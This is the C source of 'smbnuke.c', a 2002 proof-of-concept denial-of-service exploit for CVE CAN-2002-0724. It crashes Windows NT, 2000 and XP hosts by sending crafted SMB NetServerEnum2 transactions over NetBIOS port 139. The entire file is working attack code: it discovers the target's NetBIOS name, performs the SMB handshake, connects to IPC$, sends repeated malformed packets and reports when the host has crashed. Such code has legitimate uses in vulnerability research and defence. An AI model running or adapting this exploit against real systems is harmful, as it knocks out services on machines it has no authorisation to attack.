/* * smbnuke.c -- Windows SMB Nuker (DoS) - Proof of concept * Copyright (C) 2002 Frederic Deletang (df@phear.org) * * This program is free software; you can redistribute it and/or * modify it under the terms of the GNU General Public License * as published by the Free Software Foundation; either version 2 of * the License or (at your option) any later version. * * This program is distributed in the hope that it will be * useful, but WITHOUT ANY WARRANTY; without even the implied warranty * of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program; if not, write to the Free Software * Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 * USA */ /* NOTE: * Compile this program using only GCC and no other compilers * (except if you think this one supports the __attribute__ (( packed )) attribute) * This program might not work on big-endian systems. * It has been successfully tested from the following plateforms: * - Linux 2.4.18 / i686 * - FreeBSD 4.6.1-RELEASE-p10 / i386 * Don't bother me if you can't get it to compile or work on Solaris using the SunWS compiler. * * Another thing: The word counts are hardcoded, careful if you hack the sources. */ /* Copyright notice: * some parts of this source (only two functions, name_len and name_mangle) * has been taken from libsmb. The rest, especially the structures has * been written by me. */ #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #include #define SESSION_REQUEST 0x81 #define SESSION_MESSAGE 0x00 #define SMB_NEGOTIATE_PROTOCOL 0x72 #define SMB_SESSION_SETUP_ANDX 0x73 #define SMB_TREE_CONNECT_ANDX 0x75 #define SMB_COM_TRANSACTION 0x25 #define bswap16(x) \ ((((x) >> 8) & 0xff) | (((x) & 0xff) << 8)) typedef struct { unsigned char server_component[4]; unsigned char command; unsigned char error_class; unsigned char reserved1; uint16_t error_code; uint8_t flags; uint16_t flags2; unsigned char reserved2[12]; uint16_t tree_id; uint16_t proc_id; uint16_t user_id; uint16_t mpex_id; } __attribute__ ((packed)) smb_header; typedef struct { unsigned char type; unsigned char flags; unsigned short length; unsigned char called[34]; unsigned char calling[34]; } __attribute__ ((packed)) nbt_packet; typedef struct { /* wct: word count */ uint8_t wct; unsigned char andx_command; unsigned char reserved1; uint16_t andx_offset; uint16_t max_buffer; uint16_t max_mpx_count; uint16_t vc_number; uint32_t session_key; uint16_t ANSI_pwlen; uint16_t UNI_pwlen; unsigned char reserved2[4]; uint32_t capabilities; /* bcc: byte count */ uint16_t bcc; } __attribute__ ((packed)) session_setup_andx_request; typedef struct { /* wct: word count */ uint8_t wct; unsigned char andx_command; unsigned char reserved1; uint16_t andx_offset; uint16_t flags; uint16_t pwlen; uint16_t bcc; } __attribute__ ((packed)) tree_connect_andx_request; typedef struct { /* wct: word count */ uint8_t wct; uint16_t total_param_cnt; uint16_t total_data_cnt; uint16_t max_param_cnt; uint16_t max_data_cnt; uint8_t max_setup_cnt; unsigned char reserved1; uint16_t flags; uint32_t timeout; uint16_t reserved2; uint16_t param_cnt; uint16_t param_offset; uint16_t data_cnt; uint16_t data_offset; uint8_t setup_count; uint8_t reserved3; /* bcc: byte count */ uint16_t bcc; } __attribute__ ((packed)) transaction_request; typedef struct { uint16_t function_code; unsigned char param_descriptor[6]; unsigned char return_descriptor[7]; uint16_t detail_level; uint16_t recv_buffer_len; } __attribute__ ((packed)) parameters; typedef struct { uint8_t format; unsigned char *name; } t_dialects; t_dialects dialects[] = { {2, "PC NETWORK PROGRAM 1.0"}, {2, "MICROSOFT NETWORKS 1.03"}, {2, "MICROSOFT NETWORKS 3.0"}, {2, "LANMAN1.0"}, {2, "LM1.2X002"}, {2, "Samba"}, {2, "NT LM 0.12"}, {2, "NT LANMAN 1.0"}, {0, NULL} }; enum { STATE_REQUESTING_SESSION_SETUP = 1, STATE_NEGOTIATING_PROTOCOL, STATE_REQUESTING_SESSION_SETUP_ANDX, STATE_REQUESTING_TREE_CONNECT_ANDX, STATE_REQUESTING_TRANSACTION } status; const unsigned char *global_scope = NULL; /**************************************************************************** * return the total storage length of a mangled name - from smbclient * ****************************************************************************/ int name_len (char *s1) { /* NOTE: this argument _must_ be unsigned */ unsigned char *s = (unsigned char *) s1; int len; /* If the two high bits of the byte are set, return 2. */ if (0xC0 == (*s & 0xC0)) return (2); /* Add up the length bytes. */ for (len = 1; (*s); s += (*s) + 1) { len += *s + 1; assert (len < 80); } return (len); } /* name_len */ /**************************************************************************** * mangle a name into netbios format - from smbclient * Note: must be (33 + strlen(scope) + 2) bytes long, at minimum. * ****************************************************************************/ int name_mangle (char *In, char *Out, char name_type) { int i; int c; int len; char buf[20]; char *p = Out; /* Safely copy the input string, In, into buf[]. */ (void) memset (buf, 0, 20); if (strcmp (In, "*") == 0) buf[0] = '*'; else (void) snprintf (buf, sizeof (buf) - 1, "%-15.15s%c", In, name_type); /* Place the length of the first field into the output buffer. */ p[0] = 32; p++; /* Now convert the name to the rfc1001/1002 format. */ for (i = 0; i < 16; i++) { c = toupper (buf[i]); p[i * 2] = ((c >> 4) & 0x000F) + 'A'; p[(i * 2) + 1] = (c & 0x000F) + 'A'; } p += 32; p[0] = '\0'; /* Add the scope string. */ for (i = 0, len = 0; NULL != global_scope; i++, len++) { switch (global_scope[i]) { case '\0': p[0] = len; if (len > 0) p[len + 1] = 0; return (name_len (Out)); case '.': p[0] = len; p += (len + 1); len = -1; break; default: p[len + 1] = global_scope[i]; break; } } return (name_len (Out)); } int tcp_connect (const char *rhost, unsigned short port) { struct sockaddr_in dest; struct hostent *host; int fd; host = gethostbyname (rhost); if (host == NULL) { fprintf (stderr, "Could not resolve host: %s\n", rhost); return -1; } dest.sin_family = AF_INET; dest.sin_addr.s_addr = *(long *) (host->h_addr); dest.sin_port = htons (port); fd = socket (AF_INET, SOCK_STREAM, 0); if (connect (fd, (struct sockaddr *) &dest, sizeof (dest)) < 0) { fprintf (stderr, "Could not connect to %s:%d - %s\n", rhost, port, strerror (errno)); return -1; } return fd; } void build_smb_header (smb_header * hdr, uint8_t command, uint8_t flags, uint16_t flags2, uint16_t tree_id, uint16_t proc_id, uint16_t user_id, uint16_t mpex_id) { memset (hdr, 0, sizeof (smb_header)); /* SMB Header MAGIC. */ hdr->server_component[0] = 0xff; hdr->server_component[1] = 'S'; hdr->server_component[2] = 'M'; hdr->server_component[3] = 'B'; hdr->command = command; hdr->flags = flags; hdr->flags2 = flags2; hdr->tree_id = tree_id; hdr->proc_id = proc_id; hdr->user_id = user_id; hdr->mpex_id = mpex_id; } unsigned char * push_string (unsigned char *stack, unsigned char *string) { strcpy (stack, string); return stack + strlen (stack) + 1; } void request_session_setup (int fd, char *netbios_name) { nbt_packet pkt; pkt.type = SESSION_REQUEST; pkt.flags = 0x00; pkt.length = bswap16 (sizeof (nbt_packet)); name_mangle (netbios_name, pkt.called, 0x20); name_mangle ("", pkt.calling, 0x00); write (fd, &pkt, sizeof (nbt_packet)); } void negotiate_protocol (unsigned char *buffer, int fd) { smb_header hdr; unsigned char *p; uint16_t proc_id, mpex_id; int i; proc_id = (uint16_t) rand (); mpex_id = (uint16_t) rand (); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; build_smb_header (&hdr, SMB_NEGOTIATE_PROTOCOL, 0, 0, 0, proc_id, 0, mpex_id); memcpy (buffer + 4, &hdr, sizeof (smb_header)); p = buffer + 4 + sizeof (smb_header) + 3; for (i = 0; dialects[i].name != NULL; i++) { *p = dialects[i].format; strcpy (p + 1, dialects[i].name); p += strlen (dialects[i].name) + 2; } /* Set the word count */ *(uint8_t *) (buffer + 4 + sizeof (smb_header)) = 0; /* Set the byte count */ *(uint16_t *) (buffer + 4 + sizeof (smb_header) + 1) = (uint16_t) (p - buffer - 4 - sizeof (smb_header) - 3); *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (p - buffer - 4)); write (fd, buffer, p - buffer); } void request_session_setup_andx (unsigned char *buffer, int fd) { smb_header hdr; session_setup_andx_request ssar; uint16_t proc_id, mpex_id; unsigned char *p; proc_id = (uint16_t) rand (); mpex_id = (uint16_t) rand (); build_smb_header (&hdr, SMB_SESSION_SETUP_ANDX, 0x08, 0x0001, 0, proc_id, 0, mpex_id); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); p = buffer + 4 + sizeof (smb_header); memset (&ssar, 0, sizeof (session_setup_andx_request)); ssar.wct = 13; ssar.andx_command = 0xff; /* No further commands */ ssar.max_buffer = 65535; ssar.max_mpx_count = 2; ssar.vc_number = 1025; ssar.ANSI_pwlen = 1; p = buffer + 4 + sizeof (smb_header) + sizeof (session_setup_andx_request); /* Ansi password */ p = push_string (p, ""); /* Account */ p = push_string (p, ""); /* Primary domain */ p = push_string (p, "WORKGROUP"); /* Native OS */ p = push_string (p, "Unix"); /* Native Lan Manager */ p = push_string (p, "Samba"); ssar.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (session_setup_andx_request); memcpy (buffer + 4 + sizeof (smb_header), &ssar, sizeof (session_setup_andx_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (session_setup_andx_request) + sizeof (smb_header) + ssar.bcc)); write (fd, buffer, sizeof (session_setup_andx_request) + sizeof (smb_header) + 4 + ssar.bcc); } void request_tree_connect_andx (unsigned char *buffer, int fd, const char *netbios_name) { smb_header hdr; tree_connect_andx_request tcar; uint16_t proc_id, user_id; unsigned char *p, *q; proc_id = (uint16_t) rand (); user_id = ((smb_header *) (buffer + 4))->user_id; build_smb_header (&hdr, SMB_TREE_CONNECT_ANDX, 0x18, 0x2001, 0, proc_id, user_id, 0); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); memset (&tcar, 0, sizeof (tree_connect_andx_request)); tcar.wct = 4; tcar.andx_command = 0xff; /* No further commands */ tcar.pwlen = 1; p = buffer + 4 + sizeof (smb_header) + sizeof (tree_connect_andx_request); /* Password */ p = push_string (p, ""); /* Path */ q = malloc (8 + strlen (netbios_name)); sprintf (q, "\\\\%s\\IPC$", netbios_name); p = push_string (p, q); free (q); /* Service */ p = push_string (p, "IPC"); tcar.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (tree_connect_andx_request); memcpy (buffer + 4 + sizeof (smb_header), &tcar, sizeof (tree_connect_andx_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (tree_connect_andx_request) + sizeof (smb_header) + tcar.bcc)); write (fd, buffer, sizeof (tree_connect_andx_request) + sizeof (smb_header) + 4 + tcar.bcc); } void request_transaction (unsigned char *buffer, int fd) { smb_header hdr; transaction_request transaction; parameters params; uint16_t proc_id, tree_id, user_id; unsigned char *p; proc_id = (uint16_t) rand (); tree_id = ((smb_header *) (buffer + 4))->tree_id; user_id = ((smb_header *) (buffer + 4))->user_id; build_smb_header (&hdr, SMB_COM_TRANSACTION, 0, 0, tree_id, proc_id, user_id, 0); buffer[0] = SESSION_MESSAGE; buffer[1] = 0x0; memcpy (buffer + 4, &hdr, sizeof (smb_header)); memset (&transaction, 0, sizeof (transaction_request)); transaction.wct = 14; transaction.total_param_cnt = 19; /* Total lenght of parameters */ transaction.param_cnt = 19; /* Lenght of parameter */ p = buffer + 4 + sizeof (smb_header) + sizeof (transaction_request); /* Transaction name */ p = push_string (p, "\\PIPE\\LANMAN"); transaction.param_offset = p - buffer - 4; params.function_code = (uint16_t) 0x68; /* NetServerEnum2 */ strcpy (params.param_descriptor, "WrLeh"); /* RAP_NetGroupEnum_REQ */ strcpy (params.return_descriptor, "B13BWz"); /* RAP_SHARE_INFO_L1 */ params.detail_level = 1; params.recv_buffer_len = 50000; memcpy (p, ¶ms, sizeof (parameters)); p += transaction.param_cnt; transaction.data_offset = p - buffer - 4; transaction.bcc = p - buffer - 4 - sizeof (smb_header) - sizeof (transaction_request); memcpy (buffer + 4 + sizeof (smb_header), &transaction, sizeof (transaction_request)); /* Another byte count */ *(uint16_t *) (buffer + 2) = bswap16 ((uint16_t) (sizeof (transaction_request) + sizeof (smb_header) + transaction.bcc)); write (fd, buffer, sizeof (transaction_request) + sizeof (smb_header) + 4 + transaction.bcc); } typedef struct { uint16_t transaction_id; uint16_t flags; uint16_t questions; uint16_t answerRRs; uint16_t authorityRRs; uint16_t additionalRRs; unsigned char query[32]; uint16_t name; uint16_t type; uint16_t class; } __attribute__ ((packed)) nbt_name_query; typedef struct { nbt_name_query answer; uint32_t ttl; uint16_t datalen; uint8_t names; } __attribute__ ((packed)) nbt_name_query_answer; char * list_netbios_names (unsigned char *buffer, size_t size, const char *rhost, unsigned short port, unsigned int timeout) { nbt_name_query query; struct sockaddr_in dest; struct hostent *host; int fd, i; fd_set rfds; struct timeval tv; printf ("Trying to list netbios names on %s\n", rhost); host = gethostbyname (rhost); if (host == NULL) { fprintf (stderr, "Could not resolve host: %s\n", rhost); return NULL; } memset (&dest, 0, sizeof (struct sockaddr_in)); dest.sin_family = AF_INET; dest.sin_addr.s_addr = *(long *) (host->h_addr); dest.sin_port = htons (port); if ((fd = socket (AF_INET, SOCK_DGRAM, 0)) < 0) { fprintf (stderr, "Could not setup the UDP socket: %s\n", strerror (errno)); return NULL; } memset (&query, 0, sizeof (nbt_name_query)); query.transaction_id = (uint16_t) bswap16 (0x1e); //rand(); query.flags = bswap16 (0x0010); query.questions = bswap16 (1); name_mangle ("*", query.query, 0); query.type = bswap16 (0x21); query.class = bswap16 (0x01); if (sendto (fd, &query, sizeof (nbt_name_query), 0, (struct sockaddr *) &dest, sizeof (struct sockaddr_in)) != sizeof (nbt_name_query)) { fprintf (stderr, "Could not send UDP packet: %s\n", strerror (errno)); return NULL; } /* Now, wait for an answer -- add a timeout to 10 seconds */ FD_ZERO (&rfds); FD_SET (fd, &rfds); tv.tv_sec = timeout; tv.tv_usec = 0; if (!select (fd + 1, &rfds, NULL, NULL, &tv)) { fprintf (stderr, "The udp read has reached the timeout - try setting the netbios name manually - exiting...\n"); return NULL; } recvfrom (fd, buffer, size, 0, NULL, NULL); for (i = 0; i < ((nbt_name_query_answer *) buffer)->names; i++) if ((uint8_t) * (buffer + sizeof (nbt_name_query_answer) + 18 * i + 15) == 0x20) return buffer + sizeof (nbt_name_query_answer) + 18 * i; printf ("No netbios name available for use - you probably won't be able to crash this host\n"); printf ("However, you can try setting one manually\n"); return NULL; } char * extract_name (const char *name) { int i; char *p = malloc(14); for (i = 0; i < 14; i++) if (name[i] == ' ') break; else p[i] = name[i]; p[i] = '\0'; return p; } void print_banner (void) { printf ("Windows SMB Nuker (DoS) - Proof of concept - CVE CAN-2002-0724\n"); printf ("Copyright 2002 - Frederic Deletang (df@phear.org) - 28/08/2002\n\n"); } int is_smb_header (const unsigned char *buffer, int len) { if (len < sizeof (smb_header)) return 0; if (buffer[0] == 0xff && buffer[1] == 'S' && buffer[2] == 'M' && buffer[3] == 'B') return 1; else return 0; } int main (int argc, char **argv) { int fd, r, i, c; unsigned char buffer[1024 * 4]; /* Enough. */ char *hostname = NULL, *name = NULL; unsigned int showhelp = 0; unsigned int packets = 10; unsigned int state; unsigned int udp_timeout = 10; unsigned int tcp_timeout = 10; unsigned short netbios_ssn_port = 139; unsigned short netbios_ns_port = 137; fd_set rfds; struct timeval tv; srand (time (NULL)); print_banner (); while ((c = getopt (argc, argv, "N:n:p:P:t:T:h")) != -1) { switch (c) { case 'N': name = optarg; break; case 'n': packets = atoi (optarg); break; case 'p': netbios_ns_port = atoi (optarg); break; case 'P': netbios_ssn_port = atoi (optarg); break; case 't': udp_timeout = atoi (optarg); break; case 'T': tcp_timeout = atoi (optarg); break; case 'h': default: showhelp = 1; break; } } if (optind < argc) hostname = argv[optind++]; if (showhelp || hostname == NULL) { printf ("Usage: %s [options] hostname/ip...\n", argv[0]); printf (" -N [netbios-name] Netbios Name (default: ask the remote host)\n"); printf (" -n [packets] Number of crafted packets to send (default: %d)\n", packets); printf (" -p [netbios-ns port] UDP Port to query (default: %d)\n", netbios_ns_port); printf (" -P [netbios-ssn port] TCP Port to query (default: %d)\n", netbios_ssn_port); printf (" -t [udp-timeout] Timeout to wait for receive on UDP ports (default: %d)\n", udp_timeout); printf (" -T [tcp-timeout] Timeout to wait for receive on TCP ports (default: %d\n", tcp_timeout); printf ("\n"); printf ("Known vulnerable systems: \n"); printf (" - Windows NT 4.0 Workstation/Server\n"); printf (" - Windows 2000 Professional/Advanced Server\n"); printf (" - Windows XP Professional/Home edition\n\n"); exit (1); } if (!name && (name = list_netbios_names (buffer, sizeof (buffer), hostname, netbios_ns_port, udp_timeout)) == NULL) exit (1); else name = extract_name (name); printf ("Using netbios name: %s\n", name); printf ("Connecting to remote host (%s:%d)...\n", hostname, netbios_ssn_port); fd = tcp_connect (hostname, netbios_ssn_port); if (fd == -1) exit (1); FD_ZERO (&rfds); FD_SET (fd, &rfds); tv.tv_sec = tcp_timeout; tv.tv_usec = 0; state = STATE_REQUESTING_SESSION_SETUP; request_session_setup (fd, name); for (;;) { if (!select (fd + 1, &rfds, NULL, NULL, &tv)) { if (state == STATE_REQUESTING_TRANSACTION) { fprintf (stderr, "Timeout during TCP read - Seems like the remote host has crashed\n"); return 0; } else { fprintf (stderr, "Nuke failed (tcp timeout) at state %#02x, exiting...\n", state); return 1; } } r = read (fd, buffer, sizeof (buffer)); if (r == 0) { printf ("Nuke failed at state %#02x (EOF, wrong netbios name ?), exiting...\n", state); exit (1); } if (((smb_header *) (buffer + 4))->error_class != 0) { fprintf (stderr, "Nuke failed at state %#02x, exiting...\n", state); exit (1); } switch (state) { case STATE_REQUESTING_SESSION_SETUP: printf ("Negotiating protocol...\n"); negotiate_protocol (buffer, fd); break; case STATE_NEGOTIATING_PROTOCOL: printf ("Requesting session setup (AndX)\n"); request_session_setup_andx (buffer, fd); break; case STATE_REQUESTING_SESSION_SETUP_ANDX: printf ("Requesting tree connect (AndX)\n"); request_tree_connect_andx (buffer, fd, name); break; case STATE_REQUESTING_TREE_CONNECT_ANDX: for (i = 0; i < packets; i++) { printf ("Requesting transaction (nuking) #%d\n", i + 1); request_transaction (buffer, fd); } printf ("Wait...\n"); break; default: printf ("Seems like the nuke failed :/ (patched ?)\n"); exit (1); } state++; } return 0; }